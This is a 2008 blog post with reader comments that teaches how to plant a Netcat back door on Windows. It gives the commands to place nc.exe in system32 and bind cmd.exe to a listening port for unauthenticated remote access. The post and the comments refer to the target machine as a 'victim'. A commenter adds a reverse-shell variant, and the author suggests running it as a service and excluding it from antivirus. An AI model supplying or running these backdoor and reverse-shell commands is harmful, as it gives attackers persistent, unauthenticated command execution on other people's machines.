- 15
- Jan
image by destinelee
Netcat is referred to as the TCP/IP swiss army knife. Netcat can be used for good things, as well as bad. By using Netcat we can create a back door to any Windows machine with ease.
- Download the Windows version of Netcat.
- Unzip nc.exe to the %SYSTEMROOT%\system32 directory.
- Execute nc -d -L -e cmd.exe -p 10001. Change 10001 to which ever port you wish.
- From any remote machine accessible to the victim server — you can now telnet to the server on port 10001 — telnet X.X.X.X 10001 — without any authentication.
NOTE: As soon as you disconnect netcat will stop running. You might look into running it as a service.
Have any more Netcat tips? Please share in the comments.
![[del.icio.us]](http://images.del.icio.us/static/img/delicious.small.gif){kind=small}
Related Posts
Tags: Back Door, Netcat, Networking, Security, Tutorials, Windows
January 15th, 2008 at 2:35 pm
Personally I prefer the method back is to say:
I: nc-vv-l-p port
victim
victim: nc-d - and cmd.exe ip/dns port
Of form is you do not need to know previously the ip of the second machine
(victim)
Sorry for my english i’m spanish
January 16th, 2008 at 3:40 pm
In the Windows version of Netcat it is possible to use the “-L” parameter.
If instead of running netcat like this: “nc -d -l -e cmd.exe -p 10001″, you substitute the “-l” paramter of “-L”, netcat will keep running and listening even after you disconnect from the remote machine. I think that’s a good little tip :).
January 16th, 2008 at 4:21 pm
Thanks Trew, I changed it in the post. ;)
March 13th, 2008 at 9:58 pm
That door looks so much like GTA3’s door o.o reminds me of the old modding days with the old game
April 3rd, 2008 at 1:46 pm
netcat is detected by anti-virus like panda and mcaffe.
April 3rd, 2008 at 2:52 pm
Thanks for pointing that out Huloft. In case you are confused, and you are downloading this from a valid source this is not a virus and you should add an exclusion for testing.
However you might desire that your antivirus does detect and delete this program. ;)
April 26th, 2008 at 10:53 pm
How to create a back door on any OS:
1. Get root/administrator access.
2. Install any program that lets you run commands remotely.
April 26th, 2008 at 10:58 pm
hi. i did some tests with netcat in 2006 and did a post on it for my blog http://networkcheese.com
doesn’t get many hits, but i hope its useful for someone :)
cheers
May 1st, 2008 at 7:55 am
[...] HOW TO: Create a Back Door on Microsoft Windows ] [ Netcat [...]
May 5th, 2008 at 10:20 pm
Ha ha, Jonathan is so right. If you have admin access you could use anything, even MS remote desktop.
FYI, many antivirus applications will detect netcat as a threat.
May 17th, 2008 at 2:42 pm
What do you need a backdoor for if you have physical access?
May 17th, 2008 at 8:02 pm
John,
This post is meant for inspiring ideas.
Shane
May 29th, 2008 at 7:55 am
[...] things, as well as bad. By using netcat we can create a back door to any windows machine with ease.http://www.hackosis.com/index.php/2008/01/15/how-to-create-a-back-door-on-microsoft-windows/YouTube - netcat on windowsnetcat on windows. Hello, you either have JavaScript turned off or an old [...]
June 25th, 2008 at 1:12 am
the question is how long do you have physical access for?
June 25th, 2008 at 8:47 am
deon, For as long as netcat is running.
July 20th, 2008 at 9:47 pm
[...] Read More [...]
July 28th, 2008 at 8:12 pm
I have a hard time believing that the program is completely unstoppable. I would think that anyone knowledgeable enough to create such a powerful program would also know about such potential abuses and guard themselves against them. It would be like handing out biological weapons to anyone and everyone who came along without first making sure that one wasn’t inoculated against whatever they contained. Just wondering how a program like ThreatFire from PCTools, which tries to identify malware threats by behavior rather than signatures, would be at protecting a computer.
July 29th, 2008 at 7:13 am
Good thought Deof. I think some anti-malware software does identify netcat as a threat.
July 29th, 2008 at 7:23 am
Netcat NOT just a backdoor tool. Netcat is a very powerfull tool for network stuff. I use it for other purposes regularly.
July 29th, 2008 at 7:43 am
This is true.